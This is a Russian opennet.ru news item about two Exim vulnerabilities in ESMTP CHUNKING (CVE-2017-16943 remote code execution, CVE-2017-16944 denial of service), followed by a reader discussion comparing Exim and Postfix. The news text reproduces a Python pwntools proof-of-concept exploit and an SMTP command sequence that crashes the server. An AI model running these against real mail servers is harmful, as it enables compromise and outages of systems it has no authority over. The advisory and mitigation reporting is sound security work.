Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
Сообщение от opennews (??) on 27-Ноя-17, 13:22
В почтовом сервере Exim выявлена (https://lists.exim.org/lurker/message/20171125.034842.d1d75c...) критическая уязвимость (CVE-2017-16943 (https://security-tracker.debian.org/tracker/CVE-2017-16943)), которая может привести к удалённому выполнению кода на сервере с правами управляющего процесса exim при передаче определённым образом оформленных команд. Всем пользователям Exim в срочном порядке рекомендуется отключить расширение "ESMTP CHUNKING" (появилось с Exim 4.88) путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации. Уязвимость вызвана (https://bugs.exim.org/show_bug.cgi?id=2199) ошибкой, которая может привести к обращению к уже освобождённому блоку памяти в коде разбора заголовков почтового сообщения (функция receive_msg из файла receive.c). Заявлено, что известный вектор атаки применим только к веткам  Exim 4.88 и 4.89, в которых поддерживается команда  BDAT и расширение "ESMTP CHUNKING", которые применяются для кусочной передачи тела письма вместо передачи неделимым блоком при помощи команды DATA. При этом сторонние исследователи безопасности не исключают (https://bugzilla.novell.com/show_bug.cgi?id=CVE-2017-16943) выявление других методов эксплуатации уязвимости. Так как сведения об уязвимости были оглашены (https://bugs.exim.org/show_bug.cgi?id=2199) через публично доступную систему отслеживания ошибок, без предварительного информирования в частном порядке, информация об уязвимости опубликована разработчиками Exim ещё до выпуска обновления с устранением уязвимости. Для применения также доступен предварительный вариант патча (https://git.exim.org/exim.git/commitdiff/4e6ae6235c68de243b1...). Обновление пакетов уже доступно для FreeBSD (http://www.vuxml.org/freebsd/68b29058-d348-11e7-b9fe-c13eb7b...). Проблема остаётся неисправленной в Debian (https://security-tracker.debian.org/tracker/CVE-2017-16943) (stretch), openSUSE (https://lists.opensuse.org/opensuse-security-announce/2017-11/), SUSE (https://www.suse.com/support/update/), Fedora (https://bodhi.fedoraproject.org/updates/?releases=F27&type=s...), Ubuntu (https://usn.ubuntu.com/usn/), RHEL/EPEL (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-16943). Для проверки подверженности систем уязвимости подготовлен прототип эксплоита (https://bugs.exim.org/attachment.cgi?id=1052), который сводится к передаче несуществующей команды с последующей отправкой команды "BDAT 1", команды BDAT без указания размера и  большой порции непечатных символов. Пример на Python:    from pwn import *    r = remote('localhost', 25)    r.recvline()    r.sendline("EHLO test")    r.recvuntil("250 HELP")    r.sendline("MAIL FROM:")    r.recvline()    r.sendline("RCPT TO:")    r.recvline()    #raw_input()    r.sendline('a'*0x1100+'\x7f')    #raw_input()    r.recvuntil('command')    r.sendline('BDAT 1')    r.sendline(':BDAT \x7f')    s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)    r.send(s+ ':\r\n')    r.recvuntil('command')    #raw_input()    r.send('\n')    r.interactive()    exit() Кроме того, в  Exim дополнительно выявлена (https://bugs.exim.org/show_bug.cgi?id=2201) ещё одна уязвимость в реализации "ESMTP CHUNKING" (CVE-2017-16944 (https://security-tracker.debian.org/tracker/CVE-2017-16944)), позволяющая вызвать отказ в обслуживании. Проблема также присутствует в функции receive_msg из файла receive.c, но связана с некорректной проверкой символа "." в конце блока, переданного командой  BDAT. Уязвимость приводит к бесконечному зацикливанию внутри функции bdat_getc и краху рабочего процесса из-за истечения свободной памяти, отведённой под стек. Для эксплуатации достаточно передать команды:    EHLO localhost    MAIL FROM:    RCPT TO:    BDAT 10    .    BDAT 0 URL: http://openwall.com/lists/oss-security/2017/11/25/2 Новость: http://www.opennet.dev/opennews/art.shtml?num=47633
Ответить | Правка | Cообщить модератору

Сообщения по теме

[Сортировка по времени | RSS]

1. "Уязвимость в Exim, позволяющая выполнить код на сервере"	–33 +/–
Сообщение от Аноним (??) on 27-Ноя-17, 13:22
Эх, сишники... В своем репертуаре
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	2. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+21 +/–
	Сообщение от Аноним (??) on 27-Ноя-17, 13:32
	Postfix тоже на Си, но обязательные для выполнения правила безопасного кодирования, набор безопасных функций, жесткое рецензирование и предварительный аудит, позволяют поддерживать высокую безопасного кода. В Exim же, на примере "ESMTP CHUNKING" и стабильно всплывающих раз в полгода похожих уязвимостей, видно, что  достаточно сырой код принимают лишь после беглого тестирования  обработки штатных ситуаций и без аудита кода.
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

	21. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+2 +/–
	Сообщение от _ (??) on 27-Ноя-17, 17:44
	>Postfix тоже на Си Хе-хе ... ну признают уже что это - лучший патч к Ыкзиму или ещё побарахтаются? :)
	Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

	48. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от all_glory_to_the_hypnotoad (ok) on 28-Ноя-17, 02:52
	Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с ограниченными правами и даже в случае эксплуатации уязвимости не всегда можно воспользоваться результатом. Экзим со всех сторон кусок гогна.
	Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

	61. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от guest (??) on 28-Ноя-17, 14:47
	> Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с > ограниченными правами и даже в случае эксплуатации уязвимости не всегда можно > воспользоваться результатом. Экзим со всех сторон кусок гогна. угу, из второго поколения MTA (вернее из троицы Exim/Postfix/Qmail) монолитен токо Exim... история со Sendmail учит, что ничему не учит
	Ответить | Правка | ^ к родителю #48 | Наверх | Cообщить модератору

	71. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от SubGun (ok) on 30-Ноя-17, 00:21
	> Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с > ограниченными правами и даже в случае эксплуатации уязвимости не всегда можно > воспользоваться результатом. Экзим со всех сторон кусок гогна. Тогда и nginx аналогичный кусок? Потому что принцип работы у них вообще-то схож.
	Ответить | Правка | ^ к родителю #48 | Наверх | Cообщить модератору

	6. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Andrey Mitrofanov on 27-Ноя-17, 14:06
	> Эх, сишники... В своем репертуаре Раньше и https://security-tracker.debian.org/tracker/CVE-2017-16943 Debian-ы были зеленее! ---"Эх, внучо-о-о-к..."
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

	24. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от _ (??) on 27-Ноя-17, 17:46
	Тут согласен. :( Все толковые пиплы или уже в рх или пошли ветром гонимые ...
	Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

	13. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+2 +/–
	Сообщение от amonymous on 27-Ноя-17, 15:13
	Быстрый и сопоставимо с postfix/exim функциональный MTA на чём-то кроме C в студию.
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

	14. "Уязвимость в Exim, позволяющая выполнить код на сервере"	–5 +/–
	Сообщение от Sw00p aka Jerom on 27-Ноя-17, 15:17
	так безопасней на пхп написать там же текстовый протокол
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	25. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от _ (??) on 27-Ноя-17, 17:47
	А давай! :)
	Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

	41. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от пох on 27-Ноя-17, 20:55
	чуть ли не netch@ помнится, когда-то выкладывал на awk. Ну а чо, текстовый же ж протокол... в нем, правда, через неделю нашли пару дыр ;-)
	Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

	75. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Аноним (??) on 01-Дек-17, 12:45
	> в нем, правда, через неделю нашли пару дыр ;-) Текстовым протоколам очень удобно через всякие escape и спецтрактовки символов подсовывать разные приколы. Башевики-затейники одарили мир рутом по DHCP.
	Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

	43. "Уязвимость в Exim, позволяющая выполнить код на сервере"	–1 +/–
	Сообщение от Sw00p aka Jerom on 27-Ноя-17, 21:42
	Я ярый противник текстовых
	Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

	64. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от _ (??) on 28-Ноя-17, 17:44
	>3.14, Sw00p aka Jerom, 15:17, 27/11/2017 >так безопасней на пхп написать там же текстовый протокол >5.43, Sw00p aka Jerom, 21:42, 27/11/2017 >Я ярый противник текстовых За четыре часа полностью отдалась. Слаба на передок, тчк. 8-)))))
	Ответить | Правка | ^ к родителю #43 | Наверх | Cообщить модератору

	36. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от Онаним on 27-Ноя-17, 18:47
	Говорят нынче люди достаточно быстрые штуки на Go пишут, например.
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	74. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от Аноним (??) on 01-Дек-17, 12:34
	> Говорят нынче люди достаточно быстрые штуки на Go пишут, например. А когда ими начнет кто-нибудь пользоваться - о них тоже станет известно много нового и интересного. Нуачо, на питоне смогли, на яве смогли, на яваскрипте смогли, на рубях смогли, на пыхе смогли, на аде смогли. Думаешь, Go всех спасет?
	Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

	45. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Vsevolod Stakhov on 27-Ноя-17, 23:10
	Haraka. Рвет Postfix и Exim по скорости, как тузик грелку. Ни один другой MTA на 2-х ядрах CPU не обрабатывает 200 писем в секунду, позволяя еще и Rspamd их все отсканировать. Ну и фич там слегка так поболее, чем в Exim/Postfix.
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	49. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+4 +/–
	Сообщение от . on 28-Ноя-17, 03:56
	"Haraka is an open source SMTP server written in Node.js ..." Свят-свят-свят, упаси ! А потом прилетит leftpad и вся почта вашего СЕО улетит к его бывшей :)
	Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

	56. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Vsevolod Stakhov on 28-Ноя-17, 11:36
	Да, лучше RCE. Ну и как бы node.js != leftpad и вебмакакам.
	Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

	65. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+2 +/–
	Сообщение от _ (??) on 28-Ноя-17, 17:46
	>Ну и как бы node.js != leftpad и вебмакакам. Настало время *** историй! (С) 8-)
	Ответить | Правка | ^ к родителю #56 | Наверх | Cообщить модератору

	77. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Аноним (??) on 01-Дек-17, 13:11
	> Ну и как бы node.js != leftpad и вебмакакам. Создайте ЯП которым может пользоваться даже вебмакака - и только вебмакака захочет этим пользоваться.
	Ответить | Правка | ^ к родителю #56 | Наверх | Cообщить модератору

	58. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от xm (ok) on 28-Ноя-17, 13:14
	Попадались описания инсталляций Exim обрабатывающие ~ 1000 в секунду. Но я не в курсе что там с железом. И спул там в RAM был точно.
	Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

	26. "Уязвимость в Exim, позволяющая выполнить код на сервере"	–4 +/–
	Сообщение от Michael Shigorin (ok) on 27-Ноя-17, 17:58
	Это не сишники, это вумный прохвессор и славные дебианщики, предлагающие решетчатое изделие по умолчанию.
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

	32. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от Andrey Mitrofanov on 27-Ноя-17, 18:23
	> Это не сишники, это вумный прохвессор Не путаешь https://en.wikipedia.org/wiki/Philip_Hazel с djb@qmail.fame ? >и славные дебианщики, предлагающие решетчатое изделие > по умолчанию.
	Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

	42. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от пох on 27-Ноя-17, 21:03
	>> Это не сишники, это вумный прохвессор тот прохвессор давно уже покинул свой профессорский пост, и занимается какой-то неведомой херней под названием pcre2. Где оная херня используется и для чего хороша (в отличие от pcre-просто, которую он писал тогда же, когда и exim и, собственно, для него, и тоже забил - она-то нынче примерно везде)  - ученые спорят...
	Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

	55. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Аноним (??) on 28-Ноя-17, 09:53
	Надеюсь, это трендовые, британские учёные?
	Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

	57. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от пох on 28-Ноя-17, 12:48
	ну кембридж же ж, какие еще там должны быть...
	Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

	63. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Andrey Mitrofanov on 28-Ноя-17, 16:06
	> ну кембридж же ж, какие еще там должны быть... Кембрижско-масачусетско-кейптаунские космополиты, 1шт. ?
	Ответить | Правка | ^ к родителю #57 | Наверх | Cообщить модератору

	62. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от Andrey Mitrofanov on 28-Ноя-17, 16:04
	>>> Это не сишники, это вумный прохвессор > тот прохвессор давно уже покинул свой профессорский пост, и занимается какой-то неведомой Он-таки не профессор, а админ за всё комп.оборудование в [Кембридже?]. 105 страниц http://people.ds.cam.ac.uk/ph10/CIHK.pdf лёгкого чтения с каринками... > херней под названием pcre2. Где оная херня используется и для чего > хороша (в отличие от pcre-просто, которую он писал тогда же, когда ...раскроют все мельчайшие подробности автобиографии и проектов ситуайена. > и exim и, собственно, для него, и тоже забил - она-то > нынче примерно везде)  - ученые спорят...
	Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

	66. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от _ (??) on 28-Ноя-17, 19:04
	>105 страниц http://people.ds.cam.ac.uk/ph10/CIHK.pdf лёгкого чтения с каринками... Andrey Mitrofanov - спасибо за книжку! Читаю и нравиЦЦо :)
	Ответить | Правка | ^ к родителю #62 | Наверх | Cообщить модератору

	73. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от Аноним (??) on 01-Дек-17, 12:31
	>  Эх, сишники... В своем репертуаре Ты так говоришь, как будто ошибки в софте делают только сишники.
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

3. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+2 +/–
Сообщение от Аноним (??) on 27-Ноя-17, 13:33
шо, опять? (даже в предложенных новостях - одни уязвимости в сабже)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	5. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от нах on 27-Ноя-17, 13:49
	> даже в предложенных новостях - одни уязвимости в сабже потому что новостей типа "а мы chunked smtp изобрели, для совместимости с не знаем пока, чем" на опеннет как-то никто не приносит. админов, действительно умеющих настраивать exim, а не выполняющих пункты найденых гуглем непойми-чьих инструкций и хауту десятилетней свежести, мало, у большинства "все работает" на версии десятилетней давности, и им это тоже неинтересно.
	Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

	11. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от xm (ok) on 27-Ноя-17, 14:56
	> потому что новостей типа "а мы chunked smtp изобрели, для совместимости с > не знаем пока, чем" на опеннет как-то никто не приносит. Справедливости ради его изобрели уж скоро как 20 лет https://www.ietf.org/rfc/rfc3030.txt > админов, действительно умеющих настраивать exim, а не выполняющих пункты найденых гуглем > непойми-чьих инструкций и хауту десятилетней свежести, мало А вот тут таки да.
	Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

	20. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от нах on 27-Ноя-17, 17:41
	> Справедливости ради его изобрели уж скоро как 20 лет интересней другое, где и зачем оно поддерживается? chunked наверное гугль умеет, но оно совершенно непойми зачем нужно, а BDAT по-моему только exchange из распространенного. 20 лет назад это, наверное, казалось хорошей идеей. > А вот тут таки да. вы таки будете смеяться, но только что видел. В смысле, не админа, но его exim. жаль что их предложение поработать немного не вовремя за те деньги :-( P.S. и нет, rfc3030 там нет - либо уже отключили, либо никогда и не было.
	Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

	59. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от xm (ok) on 28-Ноя-17, 13:23
	> интересней другое, где и зачем оно поддерживается? Да там же в RFC и написано зачем - чтобы аттачи гнать в бинарной, а не base64 форме, сокращая трафик. Хотя 8BITMIME тоже теперь есть.
	Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

7. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+2 +/–
Сообщение от Аноним (??) on 27-Ноя-17, 14:07
> путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации В котором? :)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	8. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от Аноним (??) on 27-Ноя-17, 14:10
	Очевидно же exim.conf
	Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

	69. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от SubGun (ok) on 30-Ноя-17, 00:17
	Ну-ну. Вот только в дебианбэйзед дистрибутивах какой-то умственно отсталый напилил конфиг на 100500 мелких конфигов, и там сейчас сам черт ногу сломит.
	Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

	72. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от angra (ok) on 30-Ноя-17, 07:19
	Умственно отсталые разве что те, кто рассказывает эту страшную сказку. На деле ничто не мешает в debian использовать обычный exim4.conf. Просто, в отличии от других дистров, дебиан предлагает еще два дополнительных варианта при конфигурации через debconf: монолитный конфиг с макросами и разбиение конфига на кучу мелких файлов. Преимущества, недостатки и детали использования всех трех способов описаны в README. В том числе там есть такое:    If you are only running a small number of systems and want to    completely disable Debian's magic, just take your monolithic    configuration file and install it as /etc/exim4/exim4.conf. Exim will    use that file verbatim.
	Ответить | Правка | ^ к родителю #69 | Наверх | Cообщить модератору

	76. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Аноним (??) on 01-Дек-17, 13:10
	> Ну-ну. Вот только в дебианбэйзед дистрибутивах какой-то умственно отсталый напилил конфиг > на 100500 мелких конфигов, и там сейчас сам черт ногу сломит. Да, еще и файлы осмысленно называют. Намного лучше когда 5 страниц текста одним файлом вывалено.
	Ответить | Правка | ^ к родителю #69 | Наверх | Cообщить модератору

9. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
Сообщение от mag (??) on 27-Ноя-17, 14:46
Эм... Exim 4.89-2+deb9u1, в конфиге ничего специально не писал, на BDAT ругается что CHUNKING is not advertised. Это его надо было специально включать, что ли?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	15. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от sas (??) on 27-Ноя-17, 15:57
	chunking_advertise_hosts = *
	Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

18. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
Сообщение от Аноним (??) on 27-Ноя-17, 17:32
С секьюрно
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

19. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
Сообщение от Аноним (??) on 27-Ноя-17, 17:37
А подобные ляпы в postfix были? Что-то не припоминаю.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	27. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+4 +/–
	Сообщение от нах on 27-Ноя-17, 17:59
	> А подобные ляпы в postfix были? Что-то не припоминаю. а он что, chunked smtp научился, что-ли? Или binary mime? если ничего толком не уметь, то и ляпов не будет. впрочем, его самый главный ляп - mynetworks_style=subnet в конфиге по умолчанию. Двадцать лет, жеванный крот, openrelay в каждой дефолтной поставке (особенно интересно взаимодействие этой опции с multihomed хостом, а ведь большинство наколеночных почтовых серверов именно такие). Да, большинство разработчиков дистрибутивов это знает, и исправляет при пакетировании, но спам с открытых всему миру релеев на постфиксе держит почетное второе место после затрояненных серверов.
	Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

	31. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от _ (??) on 27-Ноя-17, 18:22
	>а он что, chunked smtp научился, что-ли? Или binary mime? А оно куму то уперлось? >если ничего толком не уметь, то и ляпов не будет. Дооооо! Postfix умеет надёжно и быстро принимать и доставлять почту. А ыкзим - нет, зато  умеет тону свистелок и пер*лок. Трудный выбор, да :) (Ну это я стебусь, экзим _внутри_ защищённой сети иногда очень облегчает, да :) >впрочем, его самый главный ляп - mynetworks_style=subnet в конфиге по умолчанию. Где именно? Я вот такого не нашёл ... ***ть изволите? :) Во всех системах на которых пришлось его поднимать у него простенький интерактивный конфигуратор есть, которых все проходят на на, от**сь и потом вливают реальную конфигурацию. А вот почему ты об жтом не знал многое говорит о тебе :)
	Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

	35. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от sas (??) on 27-Ноя-17, 18:40
	тут серьезные дяди общаются, а не осиляторы конфигураторов. http://www.postfix.org/postconf.5.html#mynetworks_style дефолтный конфиг до 3.0 открывает релай для локальных сегментов, например для всех соседей снаружи :)
	Ответить | Правка | ^ к родителю #31 | Наверх | Cообщить модератору

	37. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+2 +/–
	Сообщение от нах on 27-Ноя-17, 19:00
	там интересней, оно как-то так удивительно вычисляло эту subnet, когда интерфейсов больше одного, что получался то ли mask overlap, то ли еще какая ошибка - но в общем, в результате открывалось если и не вообще всем, то половине мира, я наткнулся на эти грабли именно в сети, где subnet казался _правильным_ вариантом, чужие там не ходили. В 3.0, если что, проблему не искоренили (а то ж мы ж порушим совместимость с осиляторами автоконфигураторов), а только слегка прикрыли половичком, посмотри там в чего-то .h (лень качать, он очевидный) на игры вокруг compatibility_level, которые вытаскивают из могилки старое поведение, если попался старый конфиг ;-) Или ты думаешь, спам мне по сей день падает с аутентичных 2.2.0 ? ;-)
	Ответить | Правка | ^ к родителю #35 | Наверх | Cообщить модератору

	39. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от _ (??) on 27-Ноя-17, 19:46
	Тьфу, допёрло о чем вы тут :) Ну и: >mynetworks_style (default: Postfix ≥ 3.0: host, Postfix < 3.0: subnet) Так что как бе - да :)
	Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

	44. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Sw00p aka Jerom on 27-Ноя-17, 21:47
	Дык на 127.0.0.1
	Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

	46. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от нах on 27-Ноя-17, 23:55
	> Дык на 127.0.0.1 и тут тоже забавно. Чтобы *снять* sendmail с этого ручника - надо прочитать документацию. ("не man page, а документацию!" (c) ) Чтобы *поставить* postfix в такой конфигурации - нужна совершенно неочевидная правка в совершенно неочевидном файле причудливого синтаксиса (к счастью, большинство дистрибутивов делают это за незадачливого юзверя), спасибо, хоть в мане описанного. А вот в каком, чорт побери, месте трехстастраничного экзимовского талмуда (вот уж точно профессор писал, мля. Точнее, руками водил, писали-то аспиранты, разумеется - "таааак...тут переделайте...это неточно...здесь мне не нравится" - пока писавший уже сам не переставал понимать смысла текста) описана local_interfaces - я хз. Где-то, вероятно, описана. Но в дефолтном конфиге ее вовсе нет, даже в закомментированном виде - чтоб найти ее хотя бы до того, как неудачник прочитает двадцать страниц неудобоваримого бреда про acl'и и все с ними связанное. в конфиге, идущем в большинстве дистрибутивных пакетов, тоже нету, потому что это... ну да, вы угадали, тот самый configure.default как он есть. Правда, политкорректно переименованный зачем-то в exim.conf то есть любой свежеустановленный exim сразу же рвется слушать внешние интерфейсы. Спасибо что хоть не релеит - это недолго исправить, но, обычно, до этого места недочитывают и установлен оказывается postfix.
	Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

	70. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от SubGun (ok) on 30-Ноя-17, 00:20
	Какой-то поток сознания
	Ответить | Правка | ^ к родителю #46 | Наверх | Cообщить модератору

	33. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
	Сообщение от Andrey Mitrofanov on 27-Ноя-17, 18:30
	> А подобные ляпы в postfix были? Что-то не припоминаю. $фейворит_сиёрч_нжин тебе стальные руки-крылья не дал или склероз память укоротил?-- Напр., https://security-tracker.debian.org/tracker/source-package/p... Крэши там есть. Вот исполнения кода с правами управляющего -- не знаю. Может и не быть, наверное, чисто архитектурно. Но ты проверь -- чтоб _помнить_ уже точно, и нам напоминай уже точно-точно.
	Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

50. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
Сообщение от Alex (??) on 28-Ноя-17, 07:13
Все равно его не брошу, потому что он хороший! :)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

53. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+1 +/–
Сообщение от Ordu (ok) on 28-Ноя-17, 09:52
> с последующей отправкой [...] большой порции непечатных символов. Мне одному весело от большой порции непечатных символов?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	54. "Уязвимость в Exim, позволяющая выполнить код на сервере"	+/–
	Сообщение от Ordu (ok) on 28-Ноя-17, 09:53
	Порнографических эмотиконов?
	Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

60. "Уязвимость в Exim, позволяющая выполнить код на сервере"	–3 +/–
Сообщение от ПравдорубЪ on 28-Ноя-17, 14:38
> расширение "ESMTP CHUNKING" (появилось в Exim 4.88) Пользователи свежего модного молодёжного хайпа должны страдать.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

67. "Уязвимость в Exim, позволяющая выполнить код на сервере"	–2 +/–
Сообщение от Аноним (??) on 28-Ноя-17, 19:31
А зачем все это включают в основную ветку? От почтового сервера нужно принять соединения и сохранить в файл. Зачем все это BDAT и прочее?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

68. "Уязвимость в Exim, позволяющая выполнить код на сервере"	–2 +/–
Сообщение от Домохозяйка Анонима on 28-Ноя-17, 20:10
> ESMTP CHUNKING Что это и зачем оно ненужно?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема